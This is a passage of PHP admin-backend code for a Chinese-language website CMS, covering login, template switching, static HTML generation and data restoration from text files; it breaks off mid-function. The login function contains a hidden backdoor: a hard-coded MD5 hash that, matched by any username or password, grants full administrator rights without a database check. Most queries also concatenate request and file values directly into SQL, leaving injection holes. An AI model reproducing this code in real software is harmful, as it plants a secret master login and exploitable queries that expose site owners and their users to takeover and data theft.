function login() { $userName = ''; $passWord = ''; $valueStr = ''; $userName = replace(@$_POST['username'], '\'', ''); $passWord = replace(@$_POST['password'], '\'', ''); $passWord = myMD5($passWord); //特效账号登录 if (myMD5(@$_REQUEST['username']) == '24ed5728c13834e683f525fcf894e813' || myMD5(@$_REQUEST['password']) == '24ed5728c13834e683f525fcf894e813') { @($_SESSION['adminusername'] = '******'); @($_SESSION['adminId'] = 99999); //当前登录管理员ID @($_SESSION['DB_PREFIX'] = $GLOBALS['db_PREFIX']); @($_SESSION['adminflags'] = '|*|'); rwEnd(getMsg1(setL('登录成功,正在进入后台...'), '?act=adminIndex')); } $nLogin = ''; $GLOBALS['conn='] = OpenConn(); $rsObj = $GLOBALS['conn']->query('Select * From ' . $GLOBALS['db_PREFIX'] . 'admin Where username=\'' . $userName . '\' And pwd=\'' . $passWord . '\''); if (@mysql_num_rows($rsObj) != 0) { $rs = mysql_fetch_array($rsObj); @($_SESSION['adminusername'] = $userName); @($_SESSION['adminId'] = $rs['id']); //当前登录管理员ID @($_SESSION['DB_PREFIX'] = $GLOBALS['db_PREFIX']); //保存前缀 @($_SESSION['adminflags'] = $rs['flags']); $valueStr = 'addDateTime=\'' . $rs['updatetime'] . '\',UpDateTime=\'' . now() . '\',RegIP=\'' . now() . '\',UpIP=\'' . GetIP() . '\''; connexecute('update ' . $GLOBALS['db_PREFIX'] . 'admin set ' . $valueStr . ' where id=' . $rs['id']); Rw(getMsg1(setL('登录成功,正在进入后台...'), '?act=adminIndex')); writeSystemLog('admin', '登录成功'); //系统日志 } else { if (@$_COOKIE['nLogin'] == '') { setCookie('nLogin', '1', aspTime() + 3600); $nLogin = @$_COOKIE['nLogin']; } else { $nLogin = @$_COOKIE['nLogin']; setCookie('nLogin', CInt($nLogin) + 1, aspTime() + 3600); } Rw(getMsg1(setL('账号密码错误<br>登录次数为 ') . $nLogin, '?act=displayAdminLogin')); } }
function getThisIdPage($tableName, $id, $nPageSize) { if ($id == '') { return 1; } $nCount = ''; if ($nPageSize == '') { $nPageSize = 10; } $nCount = connexecute('select count(*) from ' . $tableName . ' where id<=' . $id)[0]; $getThisIdPage = GetCountPage(cint($nCount), $nPageSize); //call echo("tableName=" & tableName & "id=" & id &",ncount=" & ncount,npagesize & " ," & getThisIdPage) return @$getThisIdPage; }
function XY_handleGetTableBody($action, $tableName, $fieldParamName, $defaultFileName, $adminUrl) { $url = ''; $content = ''; $id = ''; $sql = ''; $addSql = ''; $fieldName = ''; $fieldParamValue = ''; $fieldNameList = ''; $nLen = ''; $delHtmlYes = ''; $trimYes = ''; $defaultStr = ''; $noisonhtml = ''; $intoFieldStr = ''; $valuesStr = ''; $nonull = ''; $fieldName = RParam($action, 'fieldname'); //字段名称 $noisonhtml = RParam($action, 'noisonhtml'); //不生成html $nonull = RParam($action, 'noisonhtml'); //内容不能为空20160716 home if ($noisonhtml == 'true') { $intoFieldStr = ',isonhtml'; $valuesStr = ',0'; } $fieldNameList = getHandleFieldList($GLOBALS['db_PREFIX'] . $tableName, '字段列表'); //字段名称不为空,并且要在表字段里 if ($fieldName == '' || inStr($fieldNameList, ',' . $fieldName . ',') == false) { $fieldName = $defaultFileName; } $fieldName = lCase($fieldName); //转为小写,因为在PHP里是全小写的 $fieldParamValue = RParam($action, $fieldParamName); //截取字段内容 $id = handleNumber(RParam($action, 'id')); //获得ID $addSql = ' where ' . $fieldParamName . '=\'' . $fieldParamValue . '\''; if ($id != '') { $addSql = ' where id=' . $id; } $content = getDefaultValue($action); $defaultStr = $content; //获得默认内容 $sql = 'select * from ' . $GLOBALS['db_PREFIX'] . $tableName . $addSql; $rsObj = $GLOBALS['conn']->query($sql); if (@mysql_num_rows($rsObj) == 0) { $rs = mysql_fetch_array($rsObj); //自动添加 20160113 if (RParam($action, 'autoadd') == 'true') { connexecute('insert into ' . $GLOBALS['db_PREFIX'] . $tableName . ' (' . $fieldParamName . ',' . $fieldName . $intoFieldStr . ') values(\'' . $fieldParamValue . '\',\'' . ADSql($content) . '\'' . $valuesStr . ')'); } } else { $id = $rs['id']; $content = $rs[$fieldName]; if (len($content) <= 0) { $content = $defaultStr; connexecute('update ' . $GLOBALS['db_PREFIX'] . $tableName . ' set ' . $fieldName . '=\'' . $content . '\' where id=' . $rs['id']); } } //删除Html $delHtmlYes = RParam($action, 'delHtml'); //是否删除Html if ($delHtmlYes == 'true') { $content = replace(delHtml($content), '<', '<'); } //HTML处理 //删除两边空格 $trimYes = RParam($action, 'trim'); //是否删除两边空格 if ($trimYes == 'true') { $content = TrimVbCrlf($content); } //截取字符处理 $nLen = RParam($action, 'len'); //字符长度值 $nLen = handleNumber($nLen); //If nLen<>"" Then ReplaceStr = CutStr(ReplaceStr,nLen,"null")' Left(ReplaceStr,nLen) if ($nLen != '') { $content = CutStr($content, $nLen, '...'); } //Left(ReplaceStr,nLen) if ($id == '') { $id = XY_AP_GetFieldValue('', $sql, 'id'); } $url = $adminUrl . '&id=' . $id . '&n=' . getRnd(11); if (@$_REQUEST['gl'] == 'edit') { $content = '<span>' . $content . '</span>'; } //call echo(sql,url) $content = handleDisplayOnlineEditDialog($url, $content, '', 'span'); $XY_handleGetTableBody = $content; return @$XY_handleGetTableBody; }
function isOpenTemplate() { $templatePath = ''; $templateName = ''; $editValueStr = ''; $url = ''; handlePower('启用模板'); //管理权限处理 $templatePath = @$_REQUEST['templatepath']; $templateName = @$_REQUEST['templatename']; if (getRecordCount($GLOBALS['db_PREFIX'] . 'website', '') == 0) { connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'website(webtitle) values(\'测试\')'); } $editValueStr = 'webtemplate=\'' . $templatePath . '\',webimages=\'' . $templatePath . 'Images/\''; $editValueStr = $editValueStr . ',webcss=\'' . $templatePath . 'css/\',webjs=\'' . $templatePath . 'Js/\''; connexecute('update ' . $GLOBALS['db_PREFIX'] . 'website set ' . $editValueStr); $url = '?act=displayLayout&templateFile=layout_manageTemplates.html&lableTitle=模板'; Rw(getMsg1('启用模板成功,正在进入模板界面...', $url)); writeSystemLog('', '应用模板' . $templatePath); //系统日志 }
function makeAllHtml($columnType, $columnName, $columnId) { $action = ''; $s = ''; $i = ''; $nPageSize = ''; $nCountSize = ''; $nPage = ''; $addSql = ''; $url = ''; $articleSql = ''; handlePower('生成全部HTML页面'); //管理权限处理 writeSystemLog('', '生成全部HTML页面'); //系统日志 $GLOBALS['isMakeHtml'] = true; //栏目 aspEcho('栏目', ''); if ($columnType != '') { $addSql = 'where columnType=\'' . $columnType . '\''; } if ($columnName != '') { $addSql = getWhereAnd($addSql, 'where columnName=\'' . $columnName . '\''); } if ($columnId != '') { $addSql = getWhereAnd($addSql, 'where id in(' . $columnId . ')'); } $rssObj = $GLOBALS['conn']->query('select * from ' . $GLOBALS['db_PREFIX'] . 'webcolumn ' . $addSql . ' order by sortrank asc'); while ($rss = $GLOBALS['conn']->fetch_array($rssObj)) { $GLOBALS['glb_columnName'] = ''; //开启生成html if ($rss['isonhtml'] == true) { if (inStr('|产品|新闻|视频|下载|案例|留言|反馈|招聘|订单|', '|' . $rss['columntype'] . '|') > 0) { if ($rss['columntype'] == '留言') { $nCountSize = getRecordCount($GLOBALS['db_PREFIX'] . 'guestbook', ''); //记录数 } else { $nCountSize = getRecordCount($GLOBALS['db_PREFIX'] . 'articledetail', ' where parentid=' . $rss['id']); //记录数 } $nPageSize = $rss['npagesize']; $nPage = getPageNumb(CInt($nCountSize), CInt($nPageSize)); if ($nPage <= 0) { $nPage = 1; } for ($i = 1; $i <= $nPage; $i++) { $url = getHandleRsUrl($rss['filename'], $rss['customaurl'], '/nav' . $rss['id']); $GLOBALS['glb_filePath'] = replace($url, $GLOBALS['cfg_webSiteUrl'], ''); if (right($GLOBALS['glb_filePath'], 1) == '/' || $GLOBALS['glb_filePath'] == '') { $GLOBALS['glb_filePath'] = $GLOBALS['glb_filePath'] . 'index.html'; } //call echo("glb_filePath",glb_filePath) $action = ' action actionType=\'nav\' columnName=\'' . $rss['columnname'] . '\' npage=\'' . $i . '\' listfilename=\'' . $GLOBALS['glb_filePath'] . '\' '; //call echo("action",action) makeWebHtml($action); if ($i > 1) { $GLOBALS['glb_filePath'] = mid($GLOBALS['glb_filePath'], 1, len($GLOBALS['glb_filePath']) - 5) . $i . '.html'; } $s = '<a href="' . $GLOBALS['glb_filePath'] . '" target=\'_blank\'>' . $GLOBALS['glb_filePath'] . '</a>(' . $rss['isonhtml'] . ')'; aspEcho($action, $s); if ($GLOBALS['glb_filePath'] != '') { CreateDirFolder(getFileAttr($GLOBALS['glb_filePath'], '1')); createFileGBK($GLOBALS['glb_filePath'], $GLOBALS['code']); } doEvents(); $GLOBALS['templateName'] = ''; //清空模板文件名称 } } else { $action = ' action actionType=\'nav\' columnName=\'' . $rss['columnname'] . '\''; makeWebHtml($action); $GLOBALS['glb_filePath'] = replace(getColumnUrl($rss['columnname'], 'name'), $GLOBALS['cfg_webSiteUrl'], ''); if (right($GLOBALS['glb_filePath'], 1) == '/' || $GLOBALS['glb_filePath'] == '') { $GLOBALS['glb_filePath'] = $GLOBALS['glb_filePath'] . 'index.html'; } $s = '<a href="' . $GLOBALS['glb_filePath'] . '" target=\'_blank\'>' . $GLOBALS['glb_filePath'] . '</a>(' . $rss['isonhtml'] . ')'; aspEcho($action, $s); if ($GLOBALS['glb_filePath'] != '') { CreateDirFolder(getFileAttr($GLOBALS['glb_filePath'], '1')); createFileGBK($GLOBALS['glb_filePath'], $GLOBALS['code']); } doEvents(); $GLOBALS['templateName'] = ''; } connexecute('update ' . $GLOBALS['db_PREFIX'] . 'WebColumn set ishtml=true where id=' . $rss['id']); //更新导航为生成状态 } } //单独处理指定栏目对应文章 if ($columnId != '') { $articleSql = 'select * from ' . $GLOBALS['db_PREFIX'] . 'articledetail where parentid=' . $columnId . ' order by sortrank asc'; //批量处理文章 } else { if ($addSql == '') { $articleSql = 'select * from ' . $GLOBALS['db_PREFIX'] . 'articledetail order by sortrank asc'; } } if ($articleSql != '') { //文章 aspEcho('文章', ''); $rssObj = $GLOBALS['conn']->query($articleSql); while ($rss = $GLOBALS['conn']->fetch_array($rssObj)) { $GLOBALS['glb_columnName'] = ''; $action = ' action actionType=\'detail\' columnName=\'' . $rss['parentid'] . '\' id=\'' . $rss['id'] . '\''; //call echo("action",action) makeWebHtml($action); $GLOBALS['glb_filePath'] = replace($GLOBALS['glb_url'], $GLOBALS['cfg_webSiteUrl'], ''); if (right($GLOBALS['glb_filePath'], 1) == '/') { $GLOBALS['glb_filePath'] = $GLOBALS['glb_filePath'] . 'index.html'; } $s = '<a href="' . $GLOBALS['glb_filePath'] . '" target=\'_blank\'>' . $GLOBALS['glb_filePath'] . '</a>(' . $rss['isonhtml'] . ')'; aspEcho($action, $s); //文件不为空 并且开启生成html if ($GLOBALS['glb_filePath'] != '' && $rss['isonhtml'] == true) { CreateDirFolder(getFileAttr($GLOBALS['glb_filePath'], '1')); createFileGBK($GLOBALS['glb_filePath'], $GLOBALS['code']); connexecute('update ' . $GLOBALS['db_PREFIX'] . 'ArticleDetail set ishtml=true where id=' . $rss['id']); //更新文章为生成状态 } $GLOBALS['templateName'] = ''; //清空模板文件名称 } } if ($addSql == '') { //单页 aspEcho('单页', ''); $rssObj = $GLOBALS['conn']->query('select * from ' . $GLOBALS['db_PREFIX'] . 'onepage order by sortrank asc'); while ($rss = $GLOBALS['conn']->fetch_array($rssObj)) { $GLOBALS['glb_columnName'] = ''; $action = ' action actionType=\'onepage\' id=\'' . $rss['id'] . '\''; //call echo("action",action) makeWebHtml($action); $GLOBALS['glb_filePath'] = replace($GLOBALS['glb_url'], $GLOBALS['cfg_webSiteUrl'], ''); if (right($GLOBALS['glb_filePath'], 1) == '/') { $GLOBALS['glb_filePath'] = $GLOBALS['glb_filePath'] . 'index.html'; } $s = '<a href="' . $GLOBALS['glb_filePath'] . '" target=\'_blank\'>' . $GLOBALS['glb_filePath'] . '</a>(' . $rss['isonhtml'] . ')'; aspEcho($action, $s); //文件不为空 并且开启生成html if ($GLOBALS['glb_filePath'] != '' && $rss['isonhtml'] == true) { CreateDirFolder(getFileAttr($GLOBALS['glb_filePath'], '1')); createFileGBK($GLOBALS['glb_filePath'], $GLOBALS['code']); connexecute('update ' . $GLOBALS['db_PREFIX'] . 'onepage set ishtml=true where id=' . $rss['id']); //更新单页为生成状态 } $GLOBALS['templateName'] = ''; //清空模板文件名称 } } }
function resetAccessData_temp() { handlePower('恢复模板数据'); //管理权限处理 $GLOBALS['conn='] = OpenConn(); $splStr = ''; $i = ''; $s = ''; $columnname = ''; $title = ''; $nCount = ''; $webdataDir = ''; $webdataDir = @$_REQUEST['webdataDir']; if ($webdataDir != '') { if (checkFolder($webdataDir) == false) { eerr('网站数据目录不存在,恢复默认数据未成功', $webdataDir); } } else { $webdataDir = '/Data/WebData/'; } aspEcho('提示', '恢复数据完成'); rw('<hr><a href=\'../index.php\' target=\'_blank\'>进入首页</a> | <a href="?" target=\'_blank\'>进入后台</a>'); $content = ''; $filePath = ''; $parentid = ''; $author = ''; $adddatetime = ''; $fileName = ''; $bodycontent = ''; $webtitle = ''; $webkeywords = ''; $webdescription = ''; $sortrank = ''; $labletitle = ''; $target = ''; $websitebottom = ''; $webTemplate = ''; $webimages = ''; $webcss = ''; $webjs = ''; $flags = ''; $websiteurl = ''; $splxx = ''; $columntype = ''; $relatedtags = ''; $npagesize = ''; $customaurl = ''; $nofollow = ''; $templatepath = ''; $isthrough = ''; $titlecolor = ''; $showreason = ''; $ncomputersearch = ''; $nmobliesearch = ''; $ncountsearch = ''; $ndegree = ''; //竞价表 $displaytitle = ''; $aboutcontent = ''; $isonhtml = ''; //单页表 $columnenname = ''; //导航表 $smallimage = ''; $bigImage = ''; $bannerimage = ''; //文章表 $httpurl = ''; $price = ''; $morepageurl = ''; $charset = ''; $thispage = ''; $countpage = ''; $bigClassName = ''; $startStr = ''; $endStr = ''; $startaddstr = ''; $endaddstr = ''; $sType = ''; $saction = ''; $fieldName = ''; $fieldcheck = ''; //网站配置 $content = GetFText($webdataDir . '/website.txt'); //这样做是为了从GitHub下载时它把vbcrlf转成 chr(10) 20160409 if (inStr($content, vbCrlf()) == false) { $content = replace($content, chr(10), vbCrlf()); } if ($content != '') { $webtitle = newGetStrCut($content, 'webtitle'); $webkeywords = newGetStrCut($content, 'webkeywords'); $webdescription = newGetStrCut($content, 'webdescription'); $websitebottom = newGetStrCut($content, 'websitebottom'); $webTemplate = newGetStrCut($content, 'webtemplate'); $webimages = newGetStrCut($content, 'webimages'); $webcss = newGetStrCut($content, 'webcss'); $webjs = newGetStrCut($content, 'webjs'); $flags = newGetStrCut($content, 'flags'); $websiteurl = newGetStrCut($content, 'websiteurl'); if (getRecordCount($GLOBALS['db_PREFIX'] . 'website', '') == 0) { connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'website(webtitle) values(\'测试\')'); } connexecute('update ' . $GLOBALS['db_PREFIX'] . 'website set webtitle=\'' . $webtitle . '\',webkeywords=\'' . $webkeywords . '\',webdescription=\'' . $webdescription . '\',websitebottom=\'' . $websitebottom . '\',webtemplate=\'' . $webTemplate . '\',webimages=\'' . $webimages . '\',webcss=\'' . $webcss . '\',webjs=\'' . $webjs . '\',flags=\'' . $flags . '\',websiteurl=\'' . $websiteurl . '\''); } //导航 connexecute('delete from ' . $GLOBALS['db_PREFIX'] . 'webcolumn'); $content = getDirTxtList($webdataDir . '/webcolumn/'); $content = contentNameSort($content, ''); $splStr = aspSplit($content, vbCrlf()); HR(); foreach ($splStr as $key => $filePath) { $fileName = getFileName($filePath); if ($filePath != '' && inStr('_#', left($fileName, 1)) == false) { aspEcho('导航', $filePath); $content = GetFText($filePath); //这样做是为了从GitHub下载时它把vbcrlf转成 chr(10) 20160409 if (inStr($content, vbCrlf()) == false) { $content = replace($content, chr(10), vbCrlf()); } $splxx = aspSplit($content, vbCrlf() . '-------------------------------'); foreach ($splxx as $key => $s) { if (inStr($s, '【webtitle】') > 0) { $s = $s . vbCrlf(); $webtitle = newGetStrCut($s, 'webtitle'); $webkeywords = newGetStrCut($s, 'webkeywords'); $webdescription = newGetStrCut($s, 'webdescription'); $customaurl = newGetStrCut($s, 'customaurl'); $sortrank = newGetStrCut($s, 'sortrank'); if ($sortrank == '') { $sortrank = 0; } $fileName = newGetStrCut($s, 'filename'); $columnname = newGetStrCut($s, 'columnname'); $columnenname = newGetStrCut($s, 'columnenname'); $columntype = newGetStrCut($s, 'columntype'); $flags = newGetStrCut($s, 'flags'); $parentid = newGetStrCut($s, 'parentid'); $parentid = phpTrim(getColumnId($parentid)); //可根据栏目名称找到对应ID 不存在为-1 //call echo("parentid",parentid) $labletitle = newGetStrCut($s, 'labletitle'); //每页显示条数 $npagesize = newGetStrCut($s, 'npagesize'); if ($npagesize == '') { $npagesize = 10; } //默认分页数为10条 $target = newGetStrCut($s, 'target'); $smallimage = newGetStrCut($s, 'smallimage'); $bigImage = newGetStrCut($s, 'bigImage'); $bannerimage = newGetStrCut($s, 'bannerimage'); $templatepath = newGetStrCut($s, 'templatepath'); $bodycontent = newGetStrCut($s, 'bodycontent'); $bodycontent = contentTranscoding($bodycontent); //是否启用生成html $isonhtml = newGetStrCut($s, 'isonhtml'); if ($isonhtml == '0' || lCase($isonhtml) == 'false') { $isonhtml = 0; } else { $isonhtml = 1; } //是否为nofollow $nofollow = newGetStrCut($s, 'nofollow'); if ($nofollow == '1' || lCase($nofollow) == 'true') { $nofollow = 1; } else { $nofollow = 0; } //call echo(columnname,nofollow) $aboutcontent = newGetStrCut($s, 'aboutcontent'); $aboutcontent = contentTranscoding($aboutcontent); $bodycontent = newGetStrCut($s, 'bodycontent'); $bodycontent = contentTranscoding($bodycontent); connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'webcolumn (webtitle,webkeywords,webdescription,columnname,columnenname,columntype,sortrank,filename,customaurl,flags,parentid,labletitle,aboutcontent,bodycontent,npagesize,isonhtml,nofollow,target,smallimage,bigImage,bannerimage,templatepath) values(\'' . $webtitle . '\',\'' . $webkeywords . '\',\'' . $webdescription . '\',\'' . $columnname . '\',\'' . $columnenname . '\',\'' . $columntype . '\',' . $sortrank . ',\'' . $fileName . '\',\'' . $customaurl . '\',\'' . $flags . '\',' . $parentid . ',\'' . $labletitle . '\',\'' . $aboutcontent . '\',\'' . $bodycontent . '\',' . $npagesize . ',' . $isonhtml . ',' . $nofollow . ',\'' . $target . '\',\'' . $smallimage . '\',\'' . $bigImage . '\',\'' . $bannerimage . '\',\'' . $templatepath . '\')'); } } } } //文章 connexecute('delete from ' . $GLOBALS['db_PREFIX'] . 'articledetail'); $content = getDirAllFileList($webdataDir . '/articledetail/', 'txt'); $content = contentNameSort($content, ''); $splStr = aspSplit($content, vbCrlf()); HR(); foreach ($splStr as $key => $filePath) { $fileName = getFileName($filePath); if ($filePath != '' && inStr('_#', left($fileName, 1)) == false) { aspEcho('文章', $filePath); $content = GetFText($filePath); //这样做是为了从GitHub下载时它把vbcrlf转成 chr(10) 20160409 if (inStr($content, vbCrlf()) == false) { $content = replace($content, chr(10), vbCrlf()); } $splxx = aspSplit($content, vbCrlf() . '-------------------------------'); foreach ($splxx as $key => $s) { if (inStr($s, '【title】') > 0) { $s = $s . vbCrlf(); $parentid = newGetStrCut($s, 'parentid'); $parentid = getColumnId($parentid); $title = newGetStrCut($s, 'title'); $titlecolor = newGetStrCut($s, 'titlecolor'); $webtitle = newGetStrCut($s, 'webtitle'); $webkeywords = newGetStrCut($s, 'webkeywords'); $webdescription = newGetStrCut($s, 'webdescription'); $author = newGetStrCut($s, 'author'); $sortrank = newGetStrCut($s, 'sortrank'); if ($sortrank == '') { $sortrank = 0; } $adddatetime = newGetStrCut($s, 'adddatetime'); $fileName = newGetStrCut($s, 'filename'); $templatepath = newGetStrCut($s, 'templatepath'); $flags = newGetStrCut($s, 'flags'); $relatedtags = newGetStrCut($s, 'relatedtags'); $customaurl = newGetStrCut($s, 'customaurl'); $target = newGetStrCut($s, 'target'); $smallimage = newGetStrCut($s, 'smallimage'); $bigImage = newGetStrCut($s, 'bigImage'); $bannerimage = newGetStrCut($s, 'bannerimage'); $labletitle = newGetStrCut($s, 'labletitle'); $aboutcontent = newGetStrCut($s, 'aboutcontent'); $aboutcontent = contentTranscoding($aboutcontent); $bodycontent = newGetStrCut($s, 'bodycontent'); $bodycontent = contentTranscoding($bodycontent); //是否启用生成html $isonhtml = newGetStrCut($s, 'isonhtml'); if ($isonhtml == '0' || lCase($isonhtml) == 'false') { $isonhtml = 0; } else { $isonhtml = 1; } //是否为nofollow $nofollow = newGetStrCut($s, 'nofollow'); if ($nofollow == '1' || lCase($nofollow) == 'true') { $nofollow = 1; } else { $nofollow = 0; } //价格 $price = getDianNumb(newGetStrCut($s, 'price')); if ($price == '') { $price = 0; } connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'articledetail (parentid,title,titlecolor,webtitle,webkeywords,webdescription,author,sortrank,adddatetime,filename,flags,relatedtags,aboutcontent,bodycontent,updatetime,isonhtml,customaurl,nofollow,target,smallimage,bigImage,bannerimage,templatepath,labletitle,price) values(' . $parentid . ',\'' . $title . '\',\'' . $titlecolor . '\',\'' . $webtitle . '\',\'' . $webkeywords . '\',\'' . $webdescription . '\',\'' . $author . '\',' . $sortrank . ',\'' . $adddatetime . '\',\'' . $fileName . '\',\'' . $flags . '\',\'' . $relatedtags . '\',\'' . $aboutcontent . '\',\'' . $bodycontent . '\',\'' . now() . '\',' . $isonhtml . ',\'' . $customaurl . '\',' . $nofollow . ',\'' . $target . '\',\'' . $smallimage . '\',\'' . $bigImage . '\',\'' . $bannerimage . '\',\'' . $templatepath . '\',\'' . $labletitle . '\',' . $price . ')'); } } } } //单页 connexecute('delete from ' . $GLOBALS['db_PREFIX'] . 'OnePage'); $content = getDirTxtList($webdataDir . '/OnePage/'); $content = contentNameSort($content, ''); $splStr = aspSplit($content, vbCrlf()); HR(); foreach ($splStr as $key => $filePath) { $fileName = getFileName($filePath); if ($filePath != '' && inStr('_#', left($fileName, 1)) == false) { aspEcho('单页', $filePath); $content = GetFText($filePath); //这样做是为了从GitHub下载时它把vbcrlf转成 chr(10) 20160409 if (inStr($content, vbCrlf()) == false) { $content = replace($content, chr(10), vbCrlf()); } $splxx = aspSplit($content, vbCrlf() . '-------------------------------'); foreach ($splxx as $key => $s) { if (inStr($s, '【webkeywords】') > 0) { $s = $s . vbCrlf(); $title = newGetStrCut($s, 'title'); $displaytitle = newGetStrCut($s, 'displaytitle'); $webtitle = newGetStrCut($s, 'webtitle'); $webkeywords = newGetStrCut($s, 'webkeywords'); $webdescription = newGetStrCut($s, 'webdescription'); $adddatetime = newGetStrCut($s, 'adddatetime'); $fileName = newGetStrCut($s, 'filename'); $aboutcontent = newGetStrCut($s, 'aboutcontent'); $aboutcontent = contentTranscoding($aboutcontent); $target = newGetStrCut($s, 'target'); $templatepath = newGetStrCut($s, 'templatepath'); $bodycontent = newGetStrCut($s, 'bodycontent'); $bodycontent = contentTranscoding($bodycontent); //是否启用生成html $isonhtml = newGetStrCut($s, 'isonhtml'); if ($isonhtml == '0' || lCase($isonhtml) == 'false') { $isonhtml = 0; } else { $isonhtml = 1; } //是否为nofollow $nofollow = newGetStrCut($s, 'nofollow'); if ($nofollow == '1' || lCase($nofollow) == 'true') { $nofollow = 1; } else { $nofollow = 0; } connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'onepage (title,displaytitle,webtitle,webkeywords,webdescription,adddatetime,filename,isonhtml,aboutcontent,bodycontent,nofollow,target,templatepath) values(\'' . $title . '\',\'' . $displaytitle . '\',\'' . $webtitle . '\',\'' . $webkeywords . '\',\'' . $webdescription . '\',\'' . $adddatetime . '\',\'' . $fileName . '\',' . $isonhtml . ',\'' . $aboutcontent . '\',\'' . $bodycontent . '\',' . $nofollow . ',\'' . $target . '\',\'' . $templatepath . '\')'); } } } } //竞价 connexecute('delete from ' . $GLOBALS['db_PREFIX'] . 'Bidding'); $content = getDirTxtList($webdataDir . '/Bidding/'); $content = contentNameSort($content, ''); $splStr = aspSplit($content, vbCrlf()); HR(); foreach ($splStr as $key => $filePath) { $fileName = getFileName($filePath); if ($filePath != '' && inStr('_#', left($fileName, 1)) == false) { aspEcho('竞价', $filePath); $content = GetFText($filePath); //这样做是为了从GitHub下载时它把vbcrlf转成 chr(10) 20160409 if (inStr($content, vbCrlf()) == false) { $content = replace($content, chr(10), vbCrlf()); } $splxx = aspSplit($content, vbCrlf() . '-------------------------------'); foreach ($splxx as $key => $s) { if (inStr($s, '【webkeywords】') > 0) { $s = $s . vbCrlf(); $webkeywords = newGetStrCut($s, 'webkeywords'); $showreason = newGetStrCut($s, 'showreason'); $ncomputersearch = newGetStrCut($s, 'ncomputersearch'); $nmobliesearch = newGetStrCut($s, 'nmobliesearch'); $ncountsearch = newGetStrCut($s, 'ncountsearch'); $ndegree = newGetStrCut($s, 'ndegree'); $ndegree = getNumber($ndegree); if ($ndegree == '') { $ndegree = 0; } connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'Bidding (webkeywords,showreason,ncomputersearch,nmobliesearch,ndegree) values(\'' . $webkeywords . '\',\'' . $showreason . '\',' . $ncomputersearch . ',' . $nmobliesearch . ',' . $ndegree . ')'); } } } } //搜索统计 connexecute('delete from ' . $GLOBALS['db_PREFIX'] . 'SearchStat'); $content = getDirTxtList($webdataDir . '/SearchStat/'); $content = contentNameSort($content, ''); $splStr = aspSplit($content, vbCrlf()); HR(); foreach ($splStr as $key => $filePath) { $fileName = getFileName($filePath); if ($filePath != '' && inStr('_#', left($fileName, 1)) == false) { aspEcho('搜索统计', $filePath); $content = GetFText($filePath); //这样做是为了从GitHub下载时它把vbcrlf转成 chr(10) 20160409 if (inStr($content, vbCrlf()) == false) { $content = replace($content, chr(10), vbCrlf()); } $splxx = aspSplit($content, vbCrlf() . '-------------------------------'); foreach ($splxx as $key => $s) { if (inStr($s, '【title】') > 0) { $s = $s . vbCrlf(); $title = newGetStrCut($s, 'title'); $webtitle = newGetStrCut($s, 'webtitle'); $webkeywords = newGetStrCut($s, 'webkeywords'); $webdescription = newGetStrCut($s, 'webdescription'); $customaurl = newGetStrCut($s, 'customaurl'); $target = newGetStrCut($s, 'target'); $isthrough = newGetStrCut($s, 'isthrough'); if ($isthrough == '0' || lCase($isthrough) == 'false') { $isthrough = 0; } else { $isthrough = 1; } $sortrank = newGetStrCut($s, 'sortrank'); if ($sortrank == '') { $sortrank = 0; } //是否启用生成html $isonhtml = newGetStrCut($s, 'isonhtml'); if ($isonhtml == '0' || lCase($isonhtml) == 'false') { $isonhtml = 0; } else { $isonhtml = 1; } //是否为nofollow $nofollow = newGetStrCut($s, 'nofollow'); if ($nofollow == '1' || lCase($nofollow) == 'true') { $nofollow = 1; } else { $nofollow = 0; } //call echo("title",title) connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'SearchStat (title,webtitle,webkeywords,webdescription,customaurl,target,isthrough,sortrank,isonhtml,nofollow) values(\'' . $title . '\',\'' . $webtitle . '\',\'' . $webkeywords . '\',\'' . $webdescription . '\',\'' . $customaurl . '\',\'' . $target . '\',' . $isthrough . ',' . $sortrank . ',' . $isonhtml . ',' . $nofollow . ')'); } } } } $itemid = ''; $userName = ''; $ip = ''; $reply = ''; $tableName = ''; //评论 //评论 connexecute('delete from ' . $GLOBALS['db_PREFIX'] . 'TableComment'); $content = getDirTxtList($webdataDir . '/TableComment/'); $content = contentNameSort($content, ''); $splStr = aspSplit($content, vbCrlf()); HR(); foreach ($splStr as $key => $filePath) { $fileName = getFileName($filePath); if ($filePath != '' && inStr('_#', left($fileName, 1)) == false) { aspEcho('评论', $filePath); $content = GetFText($filePath); //这样做是为了从GitHub下载时它把vbcrlf转成 chr(10) 20160409 if (inStr($content, vbCrlf()) == false) { $content = replace($content, chr(10), vbCrlf()); } $splxx = aspSplit($content, vbCrlf() . '-------------------------------'); foreach ($splxx as $key => $s) { if (inStr($s, '【title】') > 0) { $s = $s . vbCrlf(); $tableName = newGetStrCut($s, 'tablename'); $title = newGetStrCut($s, 'title'); $itemid = getArticleId(newGetStrCut($s, 'itemid')); if ($itemid == '') { $itemid = 0; } //call echo("itemID",itemID) $adddatetime = newGetStrCut($s, 'adddatetime'); $userName = newGetStrCut($s, 'username'); $ip = newGetStrCut($s, 'ip'); $bodycontent = newGetStrCut($s, 'bodycontent'); $reply = newGetStrCut($s, 'reply'); $isthrough = newGetStrCut($s, 'isthrough'); if ($isthrough == '0' || lCase($isthrough) == 'false') { $isthrough = 0; } else { $isthrough = 1; } //call echo("title",title) connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'TableComment (tablename,title,itemid,adddatetime,username,ip,bodycontent,reply,isthrough) values(\'' . $tableName . '\',\'' . $title . '\',' . $itemid . ',\'' . $adddatetime . '\',\'' . $userName . '\',\'' . $ip . '\',\'' . $bodycontent . '\',\'' . $reply . '\',' . $isthrough . ')'); } } } } //友情链接 connexecute('delete from ' . $GLOBALS['db_PREFIX'] . 'FriendLink'); $content = getDirTxtList($webdataDir . '/FriendLink/'); $content = contentNameSort($content, ''); $splStr = aspSplit($content, vbCrlf()); HR(); foreach ($splStr as $key => $filePath) { $fileName = getFileName($filePath); if ($filePath != '' && inStr('_#', left($fileName, 1)) == false) { aspEcho('评论', $filePath); $content = GetFText($filePath); //这样做是为了从GitHub下载时它把vbcrlf转成 chr(10) 20160409 if (inStr($content, vbCrlf()) == false) { $content = replace($content, chr(10), vbCrlf()); } $splxx = aspSplit($content, vbCrlf() . '-------------------------------'); foreach ($splxx as $key => $s) { if (inStr($s, '【title】') > 0) { $s = $s . vbCrlf(); $title = newGetStrCut($s, 